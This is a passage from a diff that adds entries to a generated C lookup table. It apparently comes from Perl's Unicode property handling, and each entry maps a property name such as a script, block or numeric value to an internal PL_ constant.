+  {     0,  7912,     0,   4,   0, PL_TELU }   /* telu */,
+  {     2,  3129,  8056,  17,   5, PL_NSHU }   /* scriptextensions=nushu */,
+  {     0,  7288,  7912,   7,   4, PL_SC__TELU }   /* script=telu */,
+  {     0,  7288,  7956,   7,   5, PL_SC__ADLM }   /* script=adlam */,
+  {    17,  8783,  7951,   3,   5, PL_CWU }   /* cwu=true */,
+  {     5,  2108,  2543,   4,   8, PL_JAMO }   /* inhanguljamo */,
+  {     0,  7288,  6989,   7,   9, PL_TALU }   /* script=newtailue */,
+  {     0,   117,  2271,   4,  18, PL_ININSCRIPTIONALPAHLAVI }   /* ininscriptionalpahlavi */,
+  {     0,   184,  8352,   2,   4, PL_KHMR }   /* iskhmr */,
+  {     3,  6890,  8208,   4,   4, PL_INAHOM }   /* blk=ahom */,
+  {     2,  8096,  3566,   4,  11, PL_SGNW }   /* scx=signwriting */,
+  {     2,   122,     0,   9,   0, PL_DIA }   /* diacritic */,
+  {     2,  8288,  4653,   3,   6, PL_DT__SQR }   /* dt=square */,
+  {    13,  4402,  1769,   3,  21, PL_MISCTECHNICAL }   /* inmiscellaneoustechnical */,
+  {     1,  4479,  8256,   5,   3, PL_NFKCQC__N }   /* nfkcqc=n */,
+  {     0,  3129,  2674,  17,   4, PL_SUND }   /* scriptextensions=sund */,
+  {     0,  5968,  7570,   3,   6, PL_INOSMANYA }   /* inosmanya */,
+  {     5,  7351,     0,   4,   0, PL_TALE }   /* tale */,
+  {     1,  6647,     9,   4,  16, PL_CANS }   /* iscanadianaboriginal */,
+  {     0,  7136,  2841,   6,   6, PL_INCOPTIC }   /* block=coptic */,
+  {     0,  5544,  8176,  13,   4, PL_NV__3_SLASH_20 }   /* numericvalue=3/20 */,
+  {     1,  5544,  3743,  13,   1, PL_NV__1 }   /* numericvalue=1 */,
+  {     2,  7380,  8669,   4,   3, PL_CCC__202 }   /* ccc=202 */,
+  {     2,  7136,  4841,   6,  14, PL_LATINEXTB }   /* block=latinextendedb */,
+  {     0,  7478,  7612,   3,   3, PL_SOYO }   /* issoyo */,
+  {     1,  7136,  2503,   6,  19, PL_ENCLOSEDALPHANUMSUP }   /* block=enclosedalphanumsup */,
+  {     0,   184,  5037,   2,  14, PL_SK }   /* ismodifiersymbol */,
+  {     1,  5544,  7750,  13,   3, PL_NV__800 }   /* numericvalue=800 */,
+  {     1,  2236,    24,  10,   1, PL_LL }   /* category=ll */,
+  {     0,  8376,  8457,   3,   2, PL_LB__SG }   /* lb=sg */,
+  {     1,  8795,  1479,   3,   2, PL_INVAI }   /* invai */,
+  {     2,  7016,     0,   9,   0, PL_PERM }   /* oldpermic */,
+  {     0,  1426,  4743,  22,  14, PL_INSC__GEMINATIONMARK }   /* indicsyllabiccategory=geminationmark */,
+  {     0,  8540,     0,   4,   0, PL_TAML }   /* taml */,
+  {     2,  5645,  3930,  10,  16, PL_BC__S }   /* bidiclass=segmentseparator */,
+  {     1,  6890,  7900,   4,   6, PL_INREJANG }   /* blk=rejang */,
+  {     1,  8816,  8862,   3,   2, PL_NV__41 }   /* nv=41 */,
+  {     0,  1202,  3581,   3,   2, PL_DEP }   /* dep=t */,
+  {     1,  7344,  3581,   8,   2, PL_XIDS }   /* xidstart=t */,
+  {     0,   184,  8046,   2,   4, PL_LIMB }   /* islimb */,
+  {     1,  8006,  7768,   5,   6, -PL_CWKCF }   /* cwkcf=false */,
+  {     0,  1358,  3223,  20,   3, -PL_CE }   /* compositionexclusion=no */,
+  {     1,   184,  6989,   2,   9, PL_TALU }   /* isnewtailue */,
+  {     0,  6890,  1812,   4,  22, PL_TRANSPORTANDMAP }   /* blk=transportandmapsymbols */,
+  {     0,  6706,  8750,  10,   3, PL_IN__6_DOT_1 }   /* presentin=6.1 */,
+  {     1,  3129,  8408,  17,   4, PL_MRO }   /* scriptextensions=mroo */,
+  {     2,  5544,  8907,  13,   2, PL_NV__44 }   /* numericvalue=44 */,
+  {    16,  7104,     0,   8,   0, PL_ARMN }   /* armenian */,
+  {     2,  3373,     3,  15,   1, PL_EA__F }   /* eastasianwidth=f */,
+  {     0,  6221,   150,   4,  33, PL_DIACRITICALSSUP }   /* incombiningdiacriticalmarkssupplement */,
+  {     0,  5544,  7941,  13,   2, PL_NV__11 }   /* numericvalue=11 */,
+  {     8,   184,   436,   2,   5, PL_NCHAR }   /* isnchar */,
+  {     2,   892,  3581,  17,   2, PL_VS }   /* variationselector=t */,
+  {     3,  1918,  7997,  21,   4, PL_CWU }   /* changeswhenuppercased=yes */,
+  {     4,  7380,  8685,   7,   2, PL_CCC__24 }   /* ccc=ccc24 */,
+  {     2,  6713,  7756,   3,   1, PL_IN__9 }   /* in=9 */,
+  {     2,  5192,  2986,   3,  17, PL_IDST }   /* isidstrinaryoperator */,
+  {     1,   974,  8168,  27,   2, PL_CCC__17 }   /* canonicalcombiningclass=ccc17 */,
+  {     0,  8096,  8245,   5,   3, PL_BHKS }   /* scx=bhks */,
+  {     0,  8340,  6285,   3,  11, PL_JG__MALAYALAMRA }   /* jg=malayalamra */,
+  {     9,  7136,  3560,   6,  17, PL_SUTTONSIGNWRITING }   /* block=suttonsignwriting */,
+  {     0,  7380,  5219,   4,   2, PL_CCC__10 }   /* ccc=10 */,
+  {     2,  3129,  8320,  17,   4, PL_HLUW }   /* scriptextensions=hluw */,
+  {     3,  7344,  7768,   8,   2, -PL_XIDS }   /* xidstart=f */,
+  {     0,  8096,  1108,   5,   4, PL_BATK }   /* scx=batak */,
+  {     2,   949,  7997,   2,   4, PL_CI }   /* ci=yes */,
+  {     0,   415,  3223,  11,   3, -PL_IDEO }   /* ideographic=no */,
+  {     0,  6713,  8858,   3,   3, PL_IN__4 }   /* in=v40 */,
+  {     0,  7136,  1282,   6,  24, PL_CJKSYMBOLS }   /* block=cjksymbolsandpunctuation */,
+  {     2,  7956,     0,   5,   0, PL_ADLM }   /* adlam */,
+  {     0,  8076,  3223,   5,   2, -PL_PATWS }   /* patws=n */,
+  {     1,   184,  8300,   2,   4, PL_GREK }   /* isgrek */,
+  {     6,  8026,  2289,   5,   4, PL_INPC__LEFT }   /* inpc=left */,
+  {     7,  2229,  8941,  16,   2, PL_ZS }   /* generalcategory=zs */,
+  {     1,  7288,  8432,   7,   3, PL_NKO }   /* script=nko */,
+  {     1,   184,  2023,   2,  21, PL_LOE }   /* islogicalorderexception */,
+  {     1,  2985,  7997,   4,   2, PL_IDST }   /* idst=y */,
+  {     0,  6472,    34,  10,   2, PL_WB__EX }   /* wordbreak=ex */,
+  {     3,  2044,     0,  21,   0, PL_MEETEIMAYEKEXT }   /* meeteimayekextensions */,
+  {     3,  7136,  1702,   6,  12, PL_DIACRITICALS }   /* block=diacriticals */,
+  {     0,  7380,  8703,   7,   2, PL_CCC__34 }   /* ccc=ccc34 */,
+  {     2,   184,    43,   3,  25, PL_CJKCOMPATIDEOGRAPHS }   /* iscjkcompatibilityideographs */,
+  {     0,  7982,  7154,   4,   6, PL_INDUPLOYAN }   /* induployan */,
+  {     4,  6890,  3288,   4,  17, PL_INCAUCASIANALBANIAN }   /* blk=caucasianalbanian */,
+  {     2,  5192,     6,   3,   2, PL_IDC }   /* isidc */,
+  {     1,  8096,  7061,   4,   9, PL_SAMR }   /* scx=samaritan */,
+  {     0,    76,  7762,   2,   6, PL_NT__DI }   /* nt=digit */,
+  {     0,  3129,  8232,  17,   4, PL_AVST }   /* scriptextensions=avst */,
+  {     1,  7288,  2674,   7,   9, PL_SUND }   /* script=sundanese */,
+  {     1,   436,  3223,   5,   2, -PL_NCHAR }   /* nchar=n */,
+  {     3,  8572,  8935,   3,   2, PL_WB__XX }   /* wb=xx */,
+  {     2,   949,  3223,   2,   2, -PL_CI }   /* ci=n */,
+  {     3,  7288,  8220,   7,   4, PL_SC__ARMN }   /* script=armn */,
+  {     1,  7834,  6472,   6,   4, PL_POSIXWORD }   /* isperlword */,
+  {     0,   892,  7768,  17,   2, -PL_VS }   /* variationselector=f */,
+  {     7,  1746,    18,  21,   2, PL_RI }   /* graphemeclusterbreak=ri */,
+  {     3,   184,  7402,   3,   6, PL_CJKEXTC }   /* iscjkextc */,
+  {     1,  3390,     0,  17,   0, PL_ETHIOPICEXTA }   /* ethiopicextendeda */,
+  {     4,  2859,  5969,  18,  12, PL_DT__NONCANON }   /* decompositiontype=noncanonical */,
+  {    12,  5657,  3581,  12,   2, PL_BIDIM }   /* bidimirrored=t */,
+  {     0,  4923,     0,  12,   0, PL_INMANICHAEAN }   /* inmanichaean */,
+  {     6,  8096,  2787,   4,   8, PL_CHER }   /* scx=cherokee */,
+  {     1,   184,  4239,   2,  15, PL_PD }   /* isdashpunctuation */,
+  {     5,   974,  7750,  24,   1, PL_CCC__8 }   /* canonicalcombiningclass=8 */,
+  {     1,   184,  6908,   2,   9, PL_EMOTICONS }   /* isemoticons */,
+  {     1,  8016,    18,   4,   2, PL_RI }   /* gcb=ri */,
+  {     0,  3129,  3882,  17,   7, PL_MYMR }   /* scriptextensions=myanmar */,
+  {    10,  6890,  2877,   4,  13, PL_DEVANAGARIEXT }   /* blk=devanagariext */,
+  {     0,  1159,  7951,  25,   5, PL_CWKCF }   /* changeswhennfkccasefolded=true */,
+  {     1,  5544,  7756,  13,   2, PL_NV__90 }   /* numericvalue=90 */,
+  {     1,    84,  7997,   4,   4, PL_MATH }   /* math=yes */,
+  {     0,    24,     0,   1,   0, PL_L }   /* l */,
+  {     2,  4449,  7375,  14,   5, PL_NFCQC__M }   /* nfcquickcheck=maybe */,
+  {     1,   974,  7702,  24,   2, PL_CCC__20 }   /* canonicalcombiningclass=20 */,
+  {     0,  1834,  7951,  21,   5, PL_CWCF }   /* changeswhencasefolded=true */,
+  {     0,  3129,  7810,  17,   4, PL_GOTH }   /* scriptextensions=goth */,
+  {     1,  8777,  7997,   3,   4, PL_CWL }   /* cwl=yes */,
+  {     0,  6696,     0,  10,   0, PL_PHNX }   /* phoenician */,
+  {     1,  2598,     0,  19,   0, PL_MERO }   /* meroitichieroglyphs */,
+  {    16,    21,  7506,   2,   7, PL_INLINEARA }   /* inlineara */,
+  {     6,  7288,  7786,   7,   6, PL_SC__CAKM }   /* script=chakma */,
+  {     0,  2369,  3183,  20,  18, PL_VO__TR }   /* verticalorientation=transformedrotated */,
+  {     1,  6613,  2327,   3,   3, PL_HATR }   /* ishatr */,
+  {     0,  8240,  5413,   3,   3, PL_BC__RLO }   /* bc=rlo */,
+  {     1,   974,  8171,  27,   2, PL_CCC__23 }   /* canonicalcombiningclass=ccc23 */,
+  {    11,  7136,  7882,   6,   6, PL_INLYDIAN }   /* block=lydian */,
+  {     0,  7136,  2541,   6,  19, PL_JAMOEXTA }   /* block=hanguljamoextendeda */,
+  {     0,  4314,  8837,  13,   3, PL_JG__TAH }   /* joininggroup=tah */,
+  {     0,  8096,  1111,   4,   4, PL_KANA }   /* scx=kana */,
+  {     1,  4314,  3834,  13,  16, PL_JG__MANICHAEANTWENTY }   /* joininggroup=manichaeantwenty */,
+  {     1,   184,  2967,   2,   8, PL_GEOR }   /* isgeorgian */,
+  {     1,  8268,     0,   4,   0, PL_CPRT }   /* cprt */,
+  {     2,  4284,  4042,  14,   8, PL_LB__H3 }   /* hangulsyllabletype=lvt */,
+  {     0,  8096,  8056,   4,   5, PL_NSHU }   /* scx=nushu */,
+  {     1,  5657,  3223,  12,   3, -PL_BIDIM }   /* bidimirrored=no */,
+  {     0,  7816,  7951,   6,   5, PL_GRBASE }   /* grbase=true */,
+  {     1,  6210,  1283,   3,   9, PL_CJKSYMBOLS }   /* incjksymbols */,
+  {     0,  7345,  7768,   7,   2, -PL_IDS }   /* idstart=f */,
+  {     4,  2134,  7768,   3,   6, -PL_XPOSIXXDIGIT }   /* hex=false */,
+  {     2,  7288,  8106,   7,   5, PL_SC__TALE }   /* script=taile */,
+  {     8,  2229,    24,  17,   1, PL_LL }   /* generalcategory=ll */,
+  {     0,  7224,  1887,   8,   5, PL_XPOSIXLOWER }   /* isxposixlower */,
+  {     5,  4449,     0,  15,   0, PL_COMPEX }   /* nfcquickcheck=n */,
+  {     2,  7459,  7248,   3,   4, PL_SC__JAVA }   /* sc=java */,
+  {     0,  7226,  6472,   6,   4, PL_XPOSIXWORD }   /* xposixword */,
+  {     2,  6210,   571,   3,  29, PL_CJKEXTC }   /* incjkunifiedideographsextensionc */,
+  {    12,  1358,  3223,  20,   2, -PL_CE }   /* compositionexclusion=n */,
+  {     3,  6472,  7804,  11,   6, PL_WB__NL }   /* wordbreak=newline */,
+  {    19,  7459,  7144,   3,   8, PL_SC__BUGI }   /* sc=buginese */,
+  {     1,  7478,     0,   7,   0, PL_XPOSIXSPACE }   /* isspace */,
+  {     1,  8816,  7750,   3,   4, PL_NV__8000 }   /* nv=8000 */,
+  {    27,  7288,  6917,   7,   9, PL_SC__QAAI }   /* script=inherited */,
+  {     7,  7380,  8640,   7,   2, PL_CCC__18 }   /* ccc=ccc18 */,
+  {     1,  8096,  7660,   4,   7, PL_TIRH }   /* scx=tirhuta */,
+  {     0,  8011,   698,   3,   2, PL_MN }   /* gc=mn */,
+  {     0,    11,  7997,   2,   4, PL_DI }   /* di=yes */,
+  {     4,  7478,  1613,   3,  22, PL_SHORTHANDFORMATCONTROLS }   /* isshorthandformatcontrols */,
+  {     8,  7471,  8081,   7,   5, PL_POSIXPRINT }   /* isposixprint */,
+  {     0,  5284,  3581,  13,   2, PL_CI }   /* caseignorable=t */,
+  {     0,  7136,  4799,   6,  14, PL_HIGHSURROGATES }   /* block=highsurrogates */,
+  {     0,  1929,  7997,   5,   2, PL_XPOSIXUPPER }   /* upper=y */,
+  {     0,  5645,  2931,  10,  18, PL_BC__FSI }   /* bidiclass=firststrongisolate */,
+  {     0,  1981,     0,  21,   0, PL_CYRILLICSUP }   /* cyrillicsupplementary */,
+  {     5,  6890,  7336,   4,   8, PL_INUGARITIC }   /* blk=ugaritic */,
+  {     6,  5250,  7768,   8,   6, -PL_XPOSIXXDIGIT }   /* hexdigit=false */,
+  {     0,  3129,  7128,  17,   8, PL_BASS }   /* scriptextensions=bassavah */,
+  {     1,  7380,  8691,   4,   2, PL_CCC__28 }   /* ccc=28 */,
+  {     0,   184,  7876,   2,   6, PL_LYCI }   /* islycian */,
+  {     4,  2750,     0,  19,   0, PL_TERM }   /* terminalpunctuation */,
+  {     0,  2108,  2817,   5,   6, PL_HALFMARKS }   /* inhalfmarks */,
+  {     0,  3147,     0,  11,   0, PL_TAIXUANJING }   /* taixuanjing */,
+  {     0,  7288,  2002,   7,  21, PL_PRTI }   /* script=inscriptionalparthian */,
+  {     7,   184,  4269,   2,  15, PL_DIACRITICALSSUP }   /* isdiacriticalssup */,
+  {     1,  7816,  7997,   6,   2, PL_GRBASE }   /* grbase=y */,
+  {     0,  4757,     0,  14,   0, PL_GREXT }   /* graphemeextend */,
+  {     6,  2134,  3581,   3,   2, PL_XPOSIXXDIGIT }   /* hex=t */,
+  {     2,  5031,     0,   3,   0, PL_ANY }   /* any */,
+  {     1,  7136,  3738,   6,  16, PL_LATIN1 }   /* block=latin1supplement */,
+  {     1,  7380,  2590,   4,   2, PL_CCC__1 }   /* ccc=ov */,
+  {     7,   184,    27,   2,   2, PL_LL }   /* isll */,
+  {     0,  3566,     0,  11,   0, PL_SGNW }   /* signwriting */,
+  {     1,  7288,  7822,   7,   6, PL_HATR }   /* script=hatran */,
+  {     6,  1202,  7997,   3,   4, PL_DEP }   /* dep=yes */,
+  {     1,  3129,  7876,  17,   4, PL_LYCI }   /* scriptextensions=lyci */,
+  {    10,  6890,  6505,   4,  11, PL_YISYLLABLES }   /* blk=yisyllables */,
+  {     0,  8096,  2269,   4,  20, PL_PHLI }   /* scx=inscriptionalpahlavi */,
+  {     3,  4314,  5741,  13,  12, PL_JG__FINALSEMKATH }   /* joininggroup=finalsemkath */,
+  {    53,  7288,  8540,   7,   4, PL_SC__TAML }   /* script=taml */,
+  {     1,  6890,  2787,   4,  11, PL_CHEROKEESUP }   /* blk=cherokeesup */,
+  {     8,  8780,  7997,   3,   2, PL_CWT }   /* cwt=y */,
+  {     1,  7288,  8580,   7,   4, PL_XPEO }   /* script=xpeo */,
+  {     5,  7288,  4105,   8,   4, PL_BAMU }   /* script=bamum */,
+  {     0,  3754,     0,  16,   0, PL_LINEARBIDEOGRAMS }   /* linearbideograms */,
+  {     2,    48,     0,   1,   0, PL_P }   /* p */,
+  {     6,  1417,  1679,   9,   2, PL_PC }   /* category=pc */,
+  {     0,  6890,  7401,   4,   7, PL_CJKEXTC }   /* blk=cjkextc */,
+  {     4,  3390,     0,  11,   0, PL_ETHIOPICEXT }   /* ethiopicext */,
+  {     1,  7136,  6696,   6,  10, PL_INPHOENICIAN }   /* block=phoenician */,
+  {     0,  8196,  8870,   4,   3, PL_AGE__5_DOT_2 }   /* age=v52 */,
+  {     0,  7459,  8580,   3,   4, PL_XPEO }   /* sc=xpeo */,
+  {     0,  8504,  8101,   3,   5, PL_SB__ST }   /* sb=sterm */,
+  {     3,  5544,  7726,  13,   6, PL_NV__432000 }   /* numericvalue=432000 */,
+  {     0,    21,  7858,   2,   6, PL_INKHOJKI }   /* inkhojki */,
+  {     0,  1282,     0,  24,   0, PL_CJKSYMBOLS }   /* cjksymbolsandpunctuation */,
+  {     0,  3129,  5777,  17,   6, PL_HEBR }   /* scriptextensions=hebrew */,
+  {     4,  8795,   893,   3,  27, PL_VSSUP }   /* invariationselectorssupplement */,
+  {     0,  7459,  2149,   3,  20, PL_HLUW }   /* sc=anatolianhieroglyphs */,
+  {     0,  5544,  1335,  13,   3, PL_NV__NAN }   /* numericvalue=nan */,
+  {     1,  8011,   218,   3,   2, PL_PE }   /* gc=pe */,
+  {     1,  8096,  8200,   4,   4, PL_AGHB }   /* scx=aghb */,
+  {     3,   106,     0,   6,   0, PL_S }   /* symbol */,
+  {     0,  8096,  3882,   4,   7, PL_MYMR }   /* scx=myanmar */,
+  {     2,   184,  1887,   2,   9, PL_XPOSIXLOWER }   /* islowercase */,
+  {    24,  8816,  7732,   3,   6, PL_NV__500000 }   /* nv=500000 */,
+  {     2,  3129,  6406,  17,  11, PL_SORA }   /* scriptextensions=sorasompeng */,
+  {    13,  8588,     0,   4,   0, PL_YI }   /* yiii */,
+  {     5,  8011,     0,   4,   0, PL_S }   /* gc=s */,
+  {     0,  2221,  4046,   3,  12, PL_LB__H3 }   /* hst=lvtsyllable */,
+  {     9,  7136,  2895,   6,  11, PL_ETHIOPICSUP }   /* block=ethiopicsup */,
+  {     3,  7459,  2107,   3,   7, PL_SC__SINH }   /* sc=sinhala */,
+  {     1,  8894,   472,   3,   2, PL_VO__TU }   /* vo=tu */,
+  {    49,    21,  8209,   3,   3, PL_INAHOM }   /* inahom */,
+  {     1,  7136,  1585,   6,   4, PL_JAMO }   /* block=jamo */,
+  {     1,  3129,  8536,  17,   4, PL_TALU }   /* scriptextensions=talu */,
+  {     8,  3129,   690,  17,   9, PL_XSUX }   /* scriptextensions=cuneiform */,
+  {     0,  7380,  8636,   7,   3, PL_CCC__107 }   /* ccc=ccc107 */,
+  {     9,  8096,  7152,   4,   8, PL_DUPL }   /* scx=duployan */,
+  {     3,  4314,  5861,  13,  12, PL_JG__MALAYALAMNGA }   /* joininggroup=malayalamnga */,
+  {     0,  7136,  3611,   7,  10, PL_BOPOMOFOEXT }   /* block=bopomofoext */,
+  {     5,  7459,  7653,   3,   7, PL_TIBT }   /* sc=tibetan */,
+  {     0,  6616,  3223,  10,   2, -PL_DEP }   /* deprecated=n */,
+  {     5,  4104,     0,   8,   0, PL_BAMUMSUP }   /* bamumsup */,
+  {     4,  7459,  2787,   3,   8, PL_CHER }   /* sc=cherokee */,
+  {     0,  8795,  4615,   3,  14, PL_VEDICEXT }   /* invedicextensions */,
+  {     0,  4479,  7375,  15,   5, PL_NFCQC__M }   /* nfkcquickcheck=maybe */,
+  {     1,  7136,  3882,   6,  16, PL_MYANMAREXTA }   /* block=myanmarextendeda */,
+  {     0,  7136,   148,   6,  35, PL_DIACRITICALSSUP }   /* block=combiningdiacriticalmarkssupplement */,
+  {     0,  3129,  7312,  17,   4, PL_TAGB }   /* scriptextensions=tagb */,
+  {     0,  8026,   469,   3,  10, PL_INPUNCTUATION }   /* inpunctuation */,
+  {     0,  6210,  4225,   3,  14, PL_CURRENCYSYMBOLS }   /* incurrencysymbols */,
+  {     1,  1426,  2446,  22,  19, PL_INSC__CONSONANTHEADLETTER }   /* indicsyllabiccategory=consonantheadletter */,
+  {     0,   479,     0,  31,   0, PL_MATHALPHANUM }   /* mathematicalalphanumericsymbols */,
+  {     0,    21,  6935,   2,   9, PL_LATINEXTB }   /* inlatinextb */,
+  {     2,  6472,  4653,  10,   2, PL_WB__SQ }   /* wordbreak=sq */,
+  {     2,  6890,   779,   4,  29, PL_MISCARROWS }   /* blk=miscellaneoussymbolsandarrows */,
+  {     1,  1417,  3690,   9,  16, PL_PF }   /* category=finalpunctuation */,
+  {     5,  7288,  8380,   7,   4, PL_SC__LINA }   /* script=lina */,
+  {     0,  6890,  8408,   4,   3, PL_INMRO }   /* blk=mro */,
+  {     0,  7288,  2787,   7,   4, PL_CHER }   /* script=cher */,
+  {     5,  8816,  8165,   3,   3, PL_NV__5_SLASH_2 }   /* nv=5/2 */,
+  {     8,  7136,  8556,   6,   4, PL_INTHAI }   /* block=thai */,
+  {     8,  8816,  7710,   3,   2, PL_NV__60 }   /* nv=60 */,
+  {     0,   217,    25,  29,   1, PL__PERL_PROBLEMATIC_LOCALE_FOLDS }   /* _perl_problematic_locale_folds */,
+  {    14,   184,  1202,   2,   3, PL_DEP }   /* isdep */,
+  {     2,  8096,  1566,   4,   6, PL_HANG }   /* scx=hangul */,
+  {     0,    96,  3223,  10,   2, -PL_XPOSIXALPHA }   /* alphabetic=n */,
+  {     0,  7478,    44,   3,   1, PL_SK }   /* issk */,
+  {     0,  3129,  7604,  17,   7, PL_SIDD }   /* scriptextensions=siddham */,
+  {     0,  5544,  7727,  13,   2, PL_NV__32 }   /* numericvalue=32 */,
+  {     4,  8288,  3690,   3,   5, PL_DT__FIN }   /* dt=final */,
+  {     0,  7459,  8524,   3,   4, PL_SC__SHRD }   /* sc=shrd */,
+  {     0,    18,     0,   2,   0, PL_RI }   /* ri */,
+  {     4,  2369,  3201,  20,  18, PL_VO__TU }   /* verticalorientation=transformedupright */,
+  {     0,  7459,  2249,   3,  10, PL_SC__GLAG }   /* sc=glagolitic */,
+  {     2,  6890,  7506,   4,   7, PL_INLINEARA }   /* blk=lineara */,
+  {     1,  5777,     0,   6,   0, PL_HEBR }   /* hebrew */,
+  {     0,  6806,     0,  10,   0, PL_WARA }   /* warangciti */,
+  {     0,  7136,  7007,   6,   9, PL_INOLDITALIC }   /* block=olditalic */,
+  {     2,  4314,  5505,  13,  13, PL_JG__MANICHAEANTEN }   /* joininggroup=manichaeanten */,
+  {    10,  4923,   481,   4,  29, PL_MATHALPHANUM }   /* inmathematicalalphanumericsymbols */,
+  {     0,  3021,     0,  18,   0, PL_LATINEXTADDITIONAL }   /* latinextadditional */,
+  {     0,  6890,  5121,   4,  14, PL_INPSALTERPAHLAVI }   /* blk=psalterpahlavi */,
+  {     4,  2229,    25,  16,   1, PL_S }   /* generalcategory=s */,
+  {     0,  2859,  3690,  18,   5, PL_DT__FIN }   /* decompositiontype=final */,
+  {     6,   184,  8304,   2,   4, PL_GUJR }   /* isgujr */,
+  {     3,  7288,  8608,   7,   4, PL_ZZZZ }   /* script=zzzz */,
+  {     9,  8786,     9,   3,   2, PL_EA__NA }   /* ea=na */,
+  {     1,  8572,  5777,   3,  12, PL_LB__HL }   /* wb=hebrewletter */,
+  {     0,  6076,  3223,  11,   2, -PL_BIDIC }   /* bidicontrol=n */,
+  {     2,  6472,  5435,  10,   2, PL_WB__ML }   /* wordbreak=ml */,
+  {     2,  6890,  1306,   4,  24, PL_DIACRITICALSFORSYMBOLS }   /* blk=combiningmarksforsymbols */,
+  {     0,  2636,     0,  19,   0, PL_MONGOLIANSUP }   /* mongoliansupplement */,
+  {     8,  7136,  5121,   6,  14, PL_INPSALTERPAHLAVI }   /* block=psalterpahlavi */,
+  {    16,  5645,  7768,   5,   2, -PL_BIDIC }   /* bidic=f */,
+  {     0,   122,  7951,   9,   5, PL_DIA }   /* diacritic=true */,
+  {     9,  7227,  1929,   5,   5, PL_POSIXUPPER }   /* posixupper */,
+  {     0,  8016,    73,   4,   2, PL_LB__EM }   /* gcb=em */,
+  {     5,   184,  5801,   2,  12, PL_KHMERSYMBOLS }   /* iskhmersymbols */,
+  {     0,  7459,  8071,   3,   5, PL_OSGE }   /* sc=osage */,
+  {     6,  7380,  6556,   4,  10, PL_CCC__BR }   /* ccc=belowright */,
+  {     0,  7380,  7924,   4,   6, PL_CCC__9 }   /* ccc=virama */,
+  {     5,  6263,  1496,  10,   2, PL_LB__CB }   /* linebreak=cb */,
+  {     1,   184,  1001,   2,  11, PL_ENCLOSEDCJK }   /* isenclosedcjk */,
+  {     4,  2229,  1627,  16,   7, PL_XPOSIXCNTRL }   /* generalcategory=control */,
+  {     1,  4198,  2969,   4,   6, PL_INGEORGIAN }   /* ingeorgian */,
+  {     2,  7136,  2598,   6,  19, PL_MERO }   /* block=meroitichieroglyphs */,
+  {     6,  3129,  4494,  17,  15, PL_NARB }   /* scriptextensions=oldnortharabian */,
+  {     0,     0,     0,  42,   0, PL_UCASEXT }   /* unifiedcanadianaboriginalsyllabicsextended */,
+  {    10,  2229,  6351,  16,  11, PL_NO }   /* generalcategory=othernumber */,
+  {     5,  8011,    32,   3,   2, PL_CS }   /* gc=cs */,
+  {     7,  7288,  8111,   7,   4, PL_SC__TAKR }   /* script=takr */,
+  {     1,  6706,  8879,  10,   3, PL_IN__6_DOT_2 }   /* presentin=v62 */,
+  {     4,  8272,     0,   4,   0, PL_CWCF }   /* cwcf */,
+  {     1,  8408,     0,   3,   0, PL_MRO }   /* mro */,
+  {     1,  7288,  8536,   7,   4, PL_TALU }   /* script=talu */,
+  {     0,  8026,  7044,   3,   8, PL_INPAUCINHAU }   /* inpaucinhau */,
+  {     2,   184,  2598,   2,  19, PL_MERO }   /* ismeroitichieroglyphs */,
+  {     0,  7288,  6806,   7,  10, PL_WARA }   /* script=warangciti */,
+  {     0,  1887,  3223,   9,   3, -PL_XPOSIXLOWER }   /* lowercase=no */,
+  {     0,  8196,     9,   4,   2, PL_AGE__NA }   /* age=na */,
+  {     2,  6890,  8091,   4,   5, PL_INRUNIC }   /* blk=runic */,
+  {     8,  2985,  3581,  18,   2, PL_IDST }   /* idstrinaryoperator=t */,
+  {     3,  6890,  7443,   4,   7, PL_INGRANTHA }   /* blk=grantha */,
+  {     1,  7136,  7674,   6,   7, PL_UCASEXT }   /* block=ucasext */,
+  {    22,  2229,  5814,  17,  11, PL_NL }   /* generalcategory=letternumber */,
+  {     4,  1897,     0,  21,   0, PL_CWT }   /* changeswhentitlecased */,
+  {     1,  1206,  4011,   3,   5, PL_INTANGUT }   /* intangut */,
+  {     3,  6890,  6776,   4,  10, PL_SUPARROWSB }   /* blk=suparrowsb */,
+  {     0,  7136,  2674,   6,  19, PL_SUNDANESESUP }   /* block=sundanesesupplement */,
+  {     2,  8016,  5772,   4,   5, PL_WB__EB }   /* gcb=ebase */,
+  {     8,  6890,  2674,   4,  12, PL_SUNDANESESUP }   /* blk=sundanesesup */,
+  {     4,  8780,  7951,   3,   5, PL_CWT }   /* cwt=true */,
+  {     0,  6890,  1589,   4,  14, PL_LATINEXTA }   /* blk=latinextendeda */,
+  {     4,  8026,   809,   3,  17, PL_PHONETICEXT }   /* inphoneticextensions */,
+  {     1,  1589,     0,  23,   0, PL_LATINEXTADDITIONAL }   /* latinextendedadditional */,
+  {     1,  6706,  8846,  10,   3, PL_IN__2_DOT_1 }   /* presentin=v21 */,
+  {     2,  7653,     0,   7,   0, PL_TIBT }   /* tibetan */,
+  {     7,  7288,  6008,   7,   4, PL_HUNG }   /* script=hung */,
+  {     4,  4284,  4026,  14,   6, PL_GCB__L }   /* hangulsyllabletype=l */,
+  {     0,  8096,  5121,   4,  14, PL_PHLP }   /* scx=psalterpahlavi */,
+  {     5,  6613,  7829,   3,   5, PL_HYPHEN }   /* ishyphen */,
+  {     8,  6613,  4832,   3,   3, PL_HIRA }   /* ishira */,
+  {     0,  6798,     0,   8,   0, PL_ASSIGNED }   /* assigned */,
+  {     4,  2229,  1027,  16,   2, PL_SO }   /* generalcategory=so */,
+  {     2,  3129,  3610,  17,   4, PL_BOPO }   /* scriptextensions=bopo */,
+  {     1,   184,  3882,   2,  16, PL_MYANMAREXTA }   /* ismyanmarextendeda */,
+  {     0,  7798,  7997,   6,   4, PL_COMPEX }   /* compex=yes */,
+  {     5,  7288,  7639,   7,   7, PL_LANA }   /* script=taitham */,
+  {     8,  7136,  2044,   6,  11, PL_INMEETEIMAYEK }   /* block=meeteimayek */,
+  {     0,  3129,  8316,  17,   4, PL_HANO }   /* scriptextensions=hano */,
+  {     0,  6263,  6666,  10,  10, PL_LB__NS }   /* linebreak=nonstarter */,
+  {     0,  8400,     0,   4,   0, PL_MIAO }   /* miao */,
+  {     0,  4314,  5009,  13,  14, PL_JG__MANICHAEANTETH }   /* joininggroup=manichaeanteth */,
+  {     1,  1897,  3223,  21,   2, -PL_CWT }   /* changeswhentitlecased=n */,
+  {    17,  5544,  5219,  13,  13, PL_NV__1000000000000 }   /* numericvalue=1000000000000 */,
+  {    41,  4314,  6726,  13,  10, PL_JG__REVERSEDPE }   /* joininggroup=reversedpe */,
+  {     4,  4314,  6064,  13,   3, PL_JG__GAF }   /* joininggroup=gaf */,
+  {     0,  1887,  3581,   5,   2, PL_XPOSIXLOWER }   /* lower=t */,
